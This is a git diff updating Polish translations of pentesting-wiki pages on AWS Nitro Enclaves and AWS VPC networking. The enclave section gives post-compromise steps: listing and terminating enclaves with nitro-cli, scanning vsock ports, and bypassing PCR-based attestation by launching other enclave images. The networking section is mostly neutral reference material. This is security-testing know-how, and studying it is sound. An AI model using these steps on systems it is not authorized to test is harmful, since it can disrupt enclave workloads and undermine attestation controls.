+Po poznaniu zasobów, które należy przydzielić obrazowi, a nawet po modyfikacji pliku konfiguracyjnego, możliwe jest uruchomienie obrazu enklawy za pomocą:
 ```shell
 # Restart the service so the new default values apply
 sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service
@@ -77,27 +77,27 @@ Jeśli skompromitujesz hosta EC2, możliwe jest uzyskanie listy działających o
 ```bash
 nitro-cli describe-enclaves
 ```
-Nie jest **możliwe uzyskanie powłoki** wewnątrz działającego obrazu enclave, ponieważ to jest główny cel enclave, jednak jeśli użyjesz parametru **`--debug-mode`**, możliwe jest uzyskanie **stdout** za pomocą:
+Nie jest **możliwe uzyskanie powłoki** wewnątrz działającego obrazu enclave, ponieważ to jest główny cel enclave, jednak jeśli użyjesz parametru **`--debug-mode`**, możliwe jest uzyskanie **stdout** z niego za pomocą:
 ```shell
 ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID")
 nitro-cli console --enclave-id ${ENCLAVE_ID}
 ```
-### Terminate Enclaves
+### Zakończ Enklawy
 
-Jeśli atakujący skompromituje instancję EC2, domyślnie nie będzie w stanie uzyskać powłoki wewnątrz nich, ale będzie mógł **je zakończyć** za pomocą:
+Jeśli atakujący skompromituje instancję EC2, domyślnie nie będzie w stanie uzyskać powłoki wewnątrz nich, ale będzie mógł je **zakończyć** za pomocą:
 ```shell
 nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID}
 ```
 ## Vsocks
 
-Jedynym sposobem na komunikację z działającym obrazem **enklawy** jest użycie **vsocks**.
+Jedynym sposobem na komunikację z obrazem **enklawy** jest użycie **vsocks**.
 
-**Virtual Socket (vsock)** to rodzina gniazd w systemie Linux, zaprojektowana specjalnie w celu ułatwienia **komunikacji** między maszynami wirtualnymi (**VM**) a ich **hypervisorami**, lub między VM **sami**. Vsock umożliwia efektywną, **dwukierunkową komunikację** bez polegania na stosie sieciowym hosta. Umożliwia to VM komunikację nawet bez konfiguracji sieci, **używając 32-bitowego identyfikatora kontekstu (CID) i numerów portów** do identyfikacji i zarządzania połączeniami. API vsock obsługuje zarówno typy gniazd strumieniowych, jak i datagramowych, podobnie jak TCP i UDP, co stanowi wszechstronne narzędzie dla aplikacji na poziomie użytkownika w wirtualnych środowiskach.
+**Virtual Socket (vsock)** to rodzina gniazd w systemie Linux, zaprojektowana specjalnie w celu ułatwienia **komunikacji** między maszynami wirtualnymi (**VM**) a ich **hypervisorami**, lub między VM **sami**. Vsock umożliwia efektywną, **dwukierunkową komunikację** bez polegania na stosie sieciowym hosta. Umożliwia to VM komunikację nawet bez konfiguracji sieci, **używając 32-bitowego identyfikatora kontekstu (CID) i numerów portów** do identyfikacji i zarządzania połączeniami. API vsock obsługuje zarówno typy gniazd strumieniowych, jak i datagramowych, podobnie jak TCP i UDP, co zapewnia wszechstronne narzędzie dla aplikacji na poziomie użytkownika w wirtualnych środowiskach.
 
 > [!TIP]
 > Dlatego adres vsock wygląda tak: `<CID>:<Port>`
 
-Aby znaleźć **CID** obrazów działających w enklawie, możesz po prostu wykonać następujące polecenie i uzyskać **`EnclaveCID`**:
+Aby znaleźć **CIDs** obrazów działających w enklawie, możesz po prostu wykonać następujące polecenie i uzyskać **`EnclaveCID`**:
 
 <pre class="language-bash"><code class="lang-bash">nitro-cli describe-enclaves
 
@@ -126,7 +126,7 @@ Aby znaleźć **CID** obrazów działających w enklawie, możesz po prostu wyko
 </code></pre>
 
 > [!WARNING]
-> Zauważ, że z hosta nie ma sposobu, aby wiedzieć, czy CID eksponuje jakiś port! Chyba że używasz jakiegoś **skanera portów vsock, takiego jak** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner).
+> Zauważ, że z hosta nie ma sposobu, aby dowiedzieć się, czy CID eksponuje jakiś port! Chyba że używasz jakiegoś **skanera portów vsock, takiego jak** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner).
 
 ### Vsock Server/Listener
 
@@ -202,36 +202,36 @@ Narzędzie vsock-proxy pozwala na proxy vsock proxy z innym adresem, na przykła
 ```bash
 vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml
 ```
-To będzie przekazywać **lokalny port 8001 w vsock** do `ip-ranges.amazonaws.com:443`, a plik **`your-vsock-proxy.yaml`** może mieć tę zawartość, umożliwiając dostęp do `ip-ranges.amazonaws.com:443`:
+To będzie przekierowywać **lokalny port 8001 w vsock** do `ip-ranges.amazonaws.com:443`, a plik **`your-vsock-proxy.yaml`** może mieć tę zawartość, umożliwiając dostęp do `ip-ranges.amazonaws.com:443`:
 ```yaml
 allowlist:
 - { address: ip-ranges.amazonaws.com, port: 443 }
 ```
-Możliwe jest zobaczenie adresów vsock (**`<CID>:<Port>`**) używanych przez hosta EC2 za pomocą (zauważ `3:8001`, 3 to CID, a 8001 to port):
+Można zobaczyć adresy vsock (**`<CID>:<Port>`**) używane przez hosta EC2 za pomocą (zauważ `3:8001`, 3 to CID, a 8001 to port):
 ```bash
 sudo ss -l -p -n | grep v_str
 v_str LISTEN 0      0                                                                              3:8001                   *:*     users:(("vsock-proxy",pid=9458,fd=3))
 ```
-## Nitro Enclave Atestacja & KMS
+## Nitro Enclave Atestacja i KMS
 
-Nitro Enclaves SDK pozwala na to, aby enclave mogła zażądać **cyfrowo podpisanego dokumentu atestacyjnego** od Nitro **Hypervisora**, który zawiera **unikalne pomiary** specyficzne dla tej enclave. Te pomiary, które obejmują **hashe i rejestry konfiguracji platformy (PCR)**, są używane podczas procesu atestacji do **udowodnienia tożsamości enclave** i **budowania zaufania z zewnętrznymi usługami**. Dokument atestacyjny zazwyczaj zawiera wartości takie jak PCR0, PCR1 i PCR2, które spotkałeś wcześniej podczas budowania i zapisywania pliku EIF enclave.
+SDK Nitro Enclaves pozwala na żądanie **podpisanego kryptograficznie dokumentu atestacyjnego** od Nitro **Hypervisora**, który zawiera **unikalne pomiary** specyficzne dla tej enklawy. Te pomiary, które obejmują **hashe i rejestry konfiguracji platformy (PCR)**, są używane podczas procesu atestacji do **udowodnienia tożsamości enklawy** i **budowania zaufania z zewnętrznymi usługami**. Dokument atestacyjny zazwyczaj zawiera wartości takie jak PCR0, PCR1 i PCR2, które spotkałeś wcześniej podczas budowania i zapisywania pliku EIF enklawy.
 
 Z [**dokumentacji**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), oto wartości PCR:
 
-<table><thead><tr><th width="97">PCR</th><th width="221">Hash of ...</th><th>Opis</th></tr></thead><tbody><tr><td>PCR0</td><td>Plik obrazu enclave</td><td>Ciagły pomiar zawartości pliku obrazu, bez danych sekcji.</td></tr><tr><td>PCR1</td><td>Jądro Linux i bootstrap</td><td>Ciagły pomiar danych jądra i boot ramfs.</td></tr><tr><td>PCR2</td><td>Aplikacja</td><td>Ciagły, uporządkowany pomiar aplikacji użytkownika, bez boot ramfs.</td></tr><tr><td>PCR3</td><td>Rola IAM przypisana do instancji nadrzędnej</td><td>Ciagły pomiar roli IAM przypisanej do instancji nadrzędnej. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy instancja nadrzędna ma poprawną rolę IAM.</td></tr><tr><td>PCR4</td><td>ID instancji nadrzędnej</td><td>Ciagły pomiar ID instancji nadrzędnej. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy instancja nadrzędna ma określone ID instancji.</td></tr><tr><td>PCR8</td><td>Certyfikat podpisu pliku obrazu enclave</td><td>Pomiar certyfikatu podpisu określonego dla pliku obrazu enclave. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy enclave została uruchomiona z pliku obrazu enclave podpisanego przez określony certyfikat.</td></tr></tbody></table>
+<table><thead><tr><th width="97">PCR</th><th width="221">Hash of ...</th><th>Opis</th></tr></thead><tbody><tr><td>PCR0</td><td>Plik obrazu enklawy</td><td>Ciagły pomiar zawartości pliku obrazu, bez danych sekcji.</td></tr><tr><td>PCR1</td><td>Jądro Linux i bootstrap</td><td>Ciagły pomiar danych jądra i boot ramfs.</td></tr><tr><td>PCR2</td><td>Aplikacja</td><td>Ciagły, uporządkowany pomiar aplikacji użytkownika, bez boot ramfs.</td></tr><tr><td>PCR3</td><td>Rola IAM przypisana do instancji nadrzędnej</td><td>Ciagły pomiar roli IAM przypisanej do instancji nadrzędnej. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy instancja nadrzędna ma odpowiednią rolę IAM.</td></tr><tr><td>PCR4</td><td>ID instancji nadrzędnej</td><td>Ciagły pomiar ID instancji nadrzędnej. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy instancja nadrzędna ma konkretne ID instancji.</td></tr><tr><td>PCR8</td><td>Certyfikat podpisu pliku obrazu enklawy</td><td>Pomiar certyfikatu podpisu określonego dla pliku obrazu enklawy. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy enklawa została uruchomiona z pliku obrazu enklawy podpisanego przez konkretny certyfikat.</td></tr></tbody></table>
 
-Możesz zintegrować **cyfrową atestację** w swoich aplikacjach i wykorzystać gotowe integracje z usługami takimi jak **AWS KMS**. AWS KMS może **walidować atestacje enclave** i oferuje klucze warunkowe oparte na atestacji (`kms:RecipientAttestation:ImageSha384` i `kms:RecipientAttestation:PCR`) w swoich politykach kluczy. Polityki te zapewniają, że AWS KMS zezwala na operacje z użyciem klucza KMS **tylko wtedy, gdy dokument atestacyjny enclave jest ważny** i spełnia **określone warunki**.
+Możesz zintegrować **atestację kryptograficzną** w swoich aplikacjach i wykorzystać wbudowane integracje z usługami takimi jak **AWS KMS**. AWS KMS może **walidować atestacje enklaw** i oferuje klucze warunkowe oparte na atestacji (`kms:RecipientAttestation:ImageSha384` i `kms:RecipientAttestation:PCR`) w swoich politykach kluczy. Polityki te zapewniają, że AWS KMS zezwala na operacje z użyciem klucza KMS **tylko wtedy, gdy dokument atestacyjny enklawy jest ważny** i spełnia **określone warunki**.
 
 > [!TIP]
-> Zauważ, że Enclaves w trybie debug (--debug) generują dokumenty atestacyjne z PCR, które składają się z zer (`000000000000000000000000000000000000000000000000`). Dlatego polityki KMS sprawdzające te wartości będą nieudane.
+> Zauważ, że Enklawy w trybie debug (--debug) generują dokumenty atestacyjne z PCR, które składają się z zer (`000000000000000000000000000000000000000000000000`). Dlatego polityki KMS sprawdzające te wartości będą nieudane.
 
 ### Ominięcie PCR
 
-Z perspektywy atakującego, zauważ, że niektóre PCR pozwoliłyby na modyfikację niektórych części lub całego obrazu enclave i nadal byłyby ważne (na przykład PCR4 sprawdza tylko ID instancji nadrzędnej, więc uruchomienie dowolnego obrazu enclave w tej EC2 pozwoli na spełnienie tego potencjalnego wymogu PCR).
+Z perspektywy atakującego, zauważ, że niektóre PCR pozwoliłyby na modyfikację niektórych części lub całego obrazu enklawy i nadal byłyby ważne (na przykład PCR4 sprawdza tylko ID instancji nadrzędnej, więc uruchomienie dowolnego obrazu enklawy w tej EC2 pozwoli na spełnienie tego potencjalnego wymogu PCR).
 
-Dlatego atakujący, który skompromituje instancję EC2, może być w stanie uruchomić inne obrazy enclave w celu ominięcia tych zabezpieczeń.
+Dlatego atakujący, który skompromituje instancję EC2, może być w stanie uruchomić inne obrazy enklaw w celu ominięcia tych zabezpieczeń.
 
-Badania nad tym, jak modyfikować/tworzyć nowe obrazy, aby obejść każde zabezpieczenie (szczególnie te nie tak oczywiste) są nadal w planach.
+Badania nad tym, jak modyfikować/tworzyć nowe obrazy, aby obejść każde zabezpieczenie (szczególnie te mniej oczywiste) są nadal w planach.
 
 ## Referencje
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
index bbe274bcd..ab37c11d2 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
@@ -1,195 +1,195 @@
-# AWS - VPC & Networking Basic Information
+# AWS - VPC & Podstawowe informacje o sieci
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## AWS Networking in a Nutshell
+## AWS Networking w skrócie
 
-A **VPC** contains a **network CIDR** like 10.0.0.0/16 (with its **routing table** and **network ACL**).
+**VPC** zawiera **CIDR sieci** jak 10.0.0.0/16 (z jego **tablicą routingu** i **ACL sieciowym**).
 
-This VPC network is divided in **subnetworks**, so a **subnetwork** is directly **related** with the **VPC**, **routing** **table** and **network ACL**.
+Ta sieć VPC jest podzielona na **podsieci**, więc **podsieć** jest bezpośrednio **związana** z **VPC**, **tablicą routingu** i **ACL sieciowym**.
 
-Then, **Network Interface**s attached to services (like EC2 instances) are **connected** to the **subnetworks** with **security group(s)**.
+Następnie, **Interfejsy sieciowe** podłączone do usług (jak instancje EC2) są **połączone** z **podsieciami** za pomocą **grup zabezpieczeń**.
 
-Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to the **whole network**.
+Dlatego **grupa zabezpieczeń** ograniczy wystawione porty interfejsów sieciowych, które jej używają, **niezależnie od podsieci**. A **ACL sieciowy** **ograniczy** wystawione porty do **całej sieci**.
 
-Moreover, in order to **access Internet**, there are some interesting configurations to check:
+Ponadto, aby **uzyskać dostęp do Internetu**, istnieją interesujące konfiguracje do sprawdzenia:
 
-- A **subnetwork** can **auto-assign public IPv4 addresses**
-- An **instance** created in the network that **auto-assign IPv4 addresses can get one**
-- An **Internet gateway** need to be **attached** to the **VPC**
-- You could also use **Egress-only internet gateways**
-- You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**.
-- The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs)
+- **Podsieć** może **automatycznie przypisywać publiczne adresy IPv4**
+- **Instancja** utworzona w sieci, która **automatycznie przypisuje adresy IPv4, może go uzyskać**
+- **Brama internetowa** musi być **podłączona** do **VPC**
+- Możesz również użyć **bram internetowych tylko do wyjścia**
+- Możesz również mieć **bramę NAT** w **prywatnej podsieci**, aby możliwe było **połączenie z zewnętrznymi usługami** z tej prywatnej podsieci, ale **nie jest możliwe, aby dotrzeć do nich z zewnątrz**.
+- Brama NAT może być **publiczna** (dostęp do internetu) lub **prywatna** (dostęp do innych VPC)
 
 ![](<../../../../images/image (274).png>)
 
 ## VPC
 
-Amazon **Virtual Private Cloud** (Amazon VPC) enables you to **launch AWS resources into a virtual network** that you've defined. This virtual network will have several subnets, Internet Gateways to access Internet, ACLs, Security groups, IPs...
+Amazon **Virtual Private Cloud** (Amazon VPC) umożliwia uruchamianie zasobów AWS w wirtualnej sieci, którą zdefiniowałeś. Ta wirtualna sieć będzie miała kilka podsieci, bramy internetowe do uzyskania dostępu do Internetu, ACL, grupy zabezpieczeń, IP...
 
-### Subnets
+### Podsieci
 
-Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure.
+Podsieci pomagają w egzekwowaniu wyższego poziomu bezpieczeństwa. **Logiczne grupowanie podobnych zasobów** również pomaga w utrzymaniu **łatwości zarządzania** w całej infrastrukturze.
 
-- Valid CIDR are from a /16 netmask to a /28 netmask.
-- A subnet cannot be in different availability zones at the same time.
-- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: the first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use.
-- It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.**
+- Ważne CIDR są od maski /16 do maski /28.
+- Podsiec nie może znajdować się w różnych strefach dostępności w tym samym czasie.
+- **AWS rezerwuje pierwsze trzy adresy IP hostów** każdej podsieci **do** **wewnętrznego użytku AWS**: pierwszy adres hosta jest używany dla routera VPC. Drugi adres jest zarezerwowany dla DNS AWS, a trzeci adres jest zarezerwowany do przyszłego użytku.
+- Nazywa się **publicznymi podsieciami** te, które mają **bezpośredni dostęp do Internetu, podczas gdy prywatne podsieci nie mają.**
 
 <figure><img src="https://lh5.googleusercontent.com/N_WTrTrDAHwN61FMKJvLSHVua2EM0IazHH1fSTg8JQfTChm-dLN9mn7wkjz2MlpD-uOUqtWdMZpqKOp4VxaHy5-5X66GD1K8y1UGc27r-GbHdFty9ImpXdcjEsC7u4vjxKme_B_HwDOUnG6camxENYECTw=s2048" alt=""><figcaption></figcaption></figure>
 
 <figure><img src="https://lh3.googleusercontent.com/MmjfVzGmV4jM7tO8lVoTKONoeqbq6E40DGeKUoo4kN-lmMDKnEiGNB-gGVx3EvjK9UV844im225CA8aAjomHf1Modt3MramHrHZdEGbeSZncWhVuT9R8f7tQZ2pXjdSJxeNfErmJ-0mmcUaV6dcU0TAd2A=s2048" alt=""><figcaption></figcaption></figure>
 
-### Route Tables
+### Tablice routingu
 
-Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the:
+Tablice routingu określają trasowanie ruchu dla podsieci w VPC. Określają, który ruch sieciowy jest przesyłany do internetu lub do połączenia VPN. Zwykle znajdziesz dostęp do:
 
-- Local VPC
+- Lokalnego VPC
 - NAT
-- Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet).
-- In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC.
-- VPC endpoints (to access S3 from private networks)
+- Bram internetowych / Bram internetowych tylko do wyjścia (potrzebnych do zapewnienia VPC dostępu do Internetu).
+- Aby uczynić podsieć publiczną, musisz **utworzyć** i **podłączyć** **bramę internetową** do swojego VPC.
+- Punkty końcowe VPC (do uzyskania dostępu do S3 z prywatnych sieci)
 
-In the following images you can check the differences in a default public network and a private one:
+Na poniższych obrazach możesz sprawdzić różnice w domyślnej publicznej sieci i prywatnej:
 
 <figure><img src="https://lh3.googleusercontent.com/q4ASpcLAYqijdNMLhMLl8EoowDtTMU5I_7YCVfk7-5hxDyeQOik9ImHnD2SYy32XUA2qXjEbXTAxA1lP--znJASdhYOdBveDcrD42f9XBKZ3EmjJCazN3YPLC6oS0xtRMmfORuwCszmMt-KrAkH07_izwg=s2048" alt=""><figcaption></figcaption></figure>
 
 <figure><img src="https://lh5.googleusercontent.com/30psylXAI0gRN6_LK-reP00aGIlMma64E1qafCVPunn6nS-y5jAO6Y2JiempKcf6-LFi7ScicYcOh7BbHEya2VWtksnFX_8SPXQf97tKkg2tNZzrArWbiDCCn2m2LP1QUq6MZ_KayH3yir7t8zpO7CEQOw=s2048" alt=""><figcaption></figcaption></figure>
 
-### ACLs
+### ACL
 
-**Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges.
+**Listy kontroli dostępu do sieci (ACL)**: ACL sieciowe to zasady zapory, które kontrolują przychodzący i wychodzący ruch sieciowy do podsieci. Mogą być używane do zezwalania lub odmawiania ruchu do określonych adresów IP lub zakresów.
 
-- It’s most frequent to allow/deny access using security groups, but this is only way to completely cut established reverse shells. A modified rule in a security groups doesn’t stop already established connections
-- However, this apply to the whole subnetwork be careful when forbidding stuff because needed functionality might be disturbed
+- Najczęściej zezwala się/odmawia dostępu za pomocą grup zabezpieczeń, ale to jedyny sposób na całkowite przerwanie ustanowionych odwrotnych powłok. Zmodyfikowana zasada w grupach zabezpieczeń nie zatrzymuje już ustanowionych połączeń.
+- Jednak to dotyczy całej podsieci, bądź ostrożny przy zabranianiu rzeczy, ponieważ potrzebna funkcjonalność może być zakłócona.
 
-### Security Groups
+### Grupy zabezpieczeń
 
-Security groups are a virtual **firewall** that control inbound and outbound network **traffic to instances** in a VPC. Relation 1 SG to M instances (usually 1 to 1).\
-Usually this is used to open dangerous ports in instances, such as port 22 for example:
+Grupy zabezpieczeń to wirtualna **zapora**, która kontroluje przychodzący i wychodzący ruch sieciowy **do instancji** w VPC. Relacja 1 SG do M instancji (zwykle 1 do 1).\
+Zwykle używa się tego do otwierania niebezpiecznych portów w instancjach, takich jak port 22 na przykład:
 
 <figure><img src="https://lh5.googleusercontent.com/LliB7eb3cYfkEyOpyw1-eYgWsn2kq1yF6uRn5VYndvOuTvDlURimYx9UvuK8F2impTLmx50mid4MdTXE-Ljt2i_rxaIfnKUdji_hFjCdU9tdoW-axng9-W4tSL71gbbjrPQ7IYY5lAdH_G3UoMRMGGGOxQ=s2048" alt=""><figcaption></figcaption></figure>
 
-### Elastic IP Addresses
+### Adresy IP Elastic
 
-An _Elastic IP address_ is a **static IPv4 address** designed for dynamic cloud computing. An Elastic IP address is allocated to your AWS account, and is yours until you release it. By using an Elastic IP address, you can mask the failure of an instance or software by rapidly remapping the address to another instance in your account.
+_Adres IP Elastic_ to **statyczny adres IPv4** zaprojektowany do dynamicznego przetwarzania w chmurze. Adres IP Elastic jest przypisany do twojego konta AWS i jest twój, dopóki go nie zwolnisz. Używając adresu IP Elastic, możesz zamaskować awarię instancji lub oprogramowania, szybko przemapowując adres na inną instancję w swoim koncie.
 
-### Connection between subnets
+### Połączenie między podsieciami
 
-By default, all subnets have the **automatic assigned of public IP addresses turned off** but it can be turned on.
+Domyślnie wszystkie podsieci mają **automatyczne przypisanie publicznych adresów IP wyłączone**, ale można je włączyć.
 
-**A local route within a route table enables communication between VPC subnets.**
+**Lokalna trasa w tablicy routingu umożliwia komunikację między podsieciami VPC.**
 
-If you are **connecting a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet.
+Jeśli **łączysz podsieć z inną podsiecią, nie możesz uzyskać dostępu do podsieci połączonej** z inną podsiecią, musisz stworzyć połączenie z nimi bezpośrednio. **To również dotyczy bram internetowych**. Nie możesz przejść przez połączenie podsieci, aby uzyskać dostęp do internetu, musisz przypisać bramę internetową do swojej podsieci.
 
-### VPC Peering
+### Peering VPC
 
-VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network.
+Peering VPC pozwala na **połączenie dwóch lub więcej VPC**, używając IPV4 lub IPV6, tak jakby były częścią tej samej sieci.
 
-Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\
-If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\
-Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.**
+Gdy połączenie peer jest ustanowione, **zasoby w jednym VPC mogą uzyskiwać dostęp do zasobów w drugim**. Połączenie między VPC jest realizowane przez istniejącą infrastrukturę sieciową AWS, więc jest wysoce dostępne bez wąskich gardeł w przepustowości. Ponieważ **połączenia peer działają tak, jakby były częścią tej samej sieci**, istnieją ograniczenia dotyczące zakresów bloków CIDR, które mogą być używane.\
+Jeśli masz **nakładające się lub duplikujące się zakresy CIDR** dla swojego VPC, to **nie będziesz mógł połączyć VPC** razem.\
+Każde VPC AWS **będzie komunikować się tylko ze swoim partnerem**. Na przykład, jeśli masz połączenie peeringowe między VPC 1 a VPC 2, a inne połączenie między VPC 2 a VPC 3, jak pokazano, to VPC 1 i 2 mogą komunikować się ze sobą bezpośrednio, tak jak VPC 2 i VPC 3, jednak VPC 1 i VPC 3 nie mogą. **Nie możesz routować przez jedno VPC, aby dotrzeć do drugiego.**
 
-### **VPC Flow Logs**
+### **Logi przepływu VPC**
 
-Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allow you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**.
+W ramach swojego VPC możesz mieć potencjalnie setki lub nawet tysiące zasobów, które komunikują się między różnymi podsieciami, zarówno publicznymi, jak i prywatnymi, a także między różnymi VPC za pomocą połączeń peeringowych VPC. **Logi przepływu VPC pozwalają na uchwycenie informacji o ruchu IP, który przepływa między interfejsami sieciowymi twoich zasobów w ramach twojego VPC**.
 
-Unlike S3 access logs and CloudFront access logs, the **log data generated by VPC Flow Logs is not stored in S3. Instead, the log data captured is sent to CloudWatch logs**.
+W przeciwieństwie do logów dostępu S3 i logów dostępu CloudFront, **dane logów generowane przez logi przepływu VPC nie są przechowywane w S3. Zamiast tego, dane logów są wysyłane do logów CloudWatch**.
 
-Limitations:
+Ograniczenia:
 
-- If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account.
-- If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces
-- Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one.
-- The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server.
-- Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service.
-- Traffic relating to an Amazon Windows activation license from a Windows instance
-- Traffic between a network load balancer interface and an endpoint network interface
+- Jeśli uruchamiasz połączenie peeringowe VPC, to będziesz mógł zobaczyć logi przepływu tylko dla peeringowych VPC, które są w tym samym koncie.
+- Jeśli nadal uruchamiasz zasoby w środowisku EC2-Classic, to niestety nie możesz uzyskać informacji z ich interfejsów.
+- Gdy log przepływu VPC został utworzony, nie można go zmienić. Aby zmienić konfigurację logu przepływu VPC, musisz go usunąć, a następnie utworzyć nowy.
+- Następujący ruch nie jest monitorowany i rejestrowany przez logi. Ruch DHCP w ramach VPC, ruch z instancji kierowany do serwera DNS Amazon.
+- Wszelki ruch kierowany do adresu IP domyślnego routera VPC oraz ruch do i z następujących adresów, 169.254.169.254, który jest używany do zbierania metadanych instancji, oraz 169.254.169.123, który jest używany do usługi synchronizacji czasu Amazon.
+- Ruch związany z licencją aktywacyjną systemu Windows Amazon z instancji Windows.
+- Ruch między interfejsem równoważnika obciążenia sieciowego a interfejsem punktu końcowego sieciowego.
 
-For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**.
+Dla każdego interfejsu sieciowego, który publikuje dane do grupy logów CloudWatch, będzie używany inny strumień logów. A w każdym z tych strumieni będą dane zdarzeń logów przepływu, które pokazują zawartość wpisów logów. Każdy z tych **logów rejestruje dane w oknie trwającym około 10 do 15 minut**.
 
 ## VPN
 
-### Basic AWS VPN Components
+### Podstawowe komponenty AWS VPN
 
-1. **Customer Gateway**:
-- A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection.
-- It is essentially a physical device or software application on your side of the Site-to-Site VPN connection.
-- You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway.
-- It serves as a reference point for setting up the VPN connection and doesn't incur additional charges.
-2. **Virtual Private Gateway**:
-- A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection.
-- It is attached to your VPC and serves as the target for your VPN connection.
-- VPG is the AWS side endpoint for the VPN connection.
-- It handles the secure communication between your VPC and your on-premises network.
-3. **Site-to-Site VPN Connection**:
-- A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel.
-- This type of connection requires a Customer Gateway and a Virtual Private Gateway.
-- It's used for secure, stable, and consistent communication between your data center or network and your AWS environment.
-- Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection.
-4. **Client VPN Endpoint**:
-- A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions.
-- It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network.
-- It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks.
-- With Client VPN, each client device uses a VPN client software to establish a secure connection.
+1. **Brama klienta**:
+- Brama klienta to zasób, który tworzysz w AWS, aby reprezentować swoją stronę połączenia VPN.
+- Jest to zasadniczo fizyczne urządzenie lub aplikacja programowa po twojej stronie połączenia VPN Site-to-Site.
+- Podajesz informacje o routingu i publiczny adres IP swojego urządzenia sieciowego (takiego jak router lub zapora) do AWS, aby utworzyć Bramę klienta.
+- Służy jako punkt odniesienia do skonfigurowania połączenia VPN i nie generuje dodatkowych opłat.
+2. **Wirtualna brama prywatna**:
+- Wirtualna brama prywatna (VPG) to koncentrator VPN po stronie Amazon w połączeniu VPN Site-to-Site.
+- Jest podłączona do twojego VPC i służy jako cel dla twojego połączenia VPN.
+- VPG jest punktem końcowym po stronie AWS dla połączenia VPN.
+- Obsługuje bezpieczną komunikację między twoim VPC a twoją siecią lokalną.
+3. **Połączenie VPN Site-to-Site**:
+- Połączenie VPN Site-to-Site łączy twoją lokalną sieć z VPC przez bezpieczny tunel VPN IPsec.
+- Ten typ połączenia wymaga Bramy klienta i Wirtualnej bramy prywatnej.
+- Jest używany do bezpiecznej, stabilnej i spójnej komunikacji między twoim centrum danych lub siecią a twoim środowiskiem AWS.
+- Zwykle używany do regularnych, długoterminowych połączeń i jest rozliczany na podstawie ilości danych przesyłanych przez połączenie.
+4. **Punkt końcowy VPN klienta**:
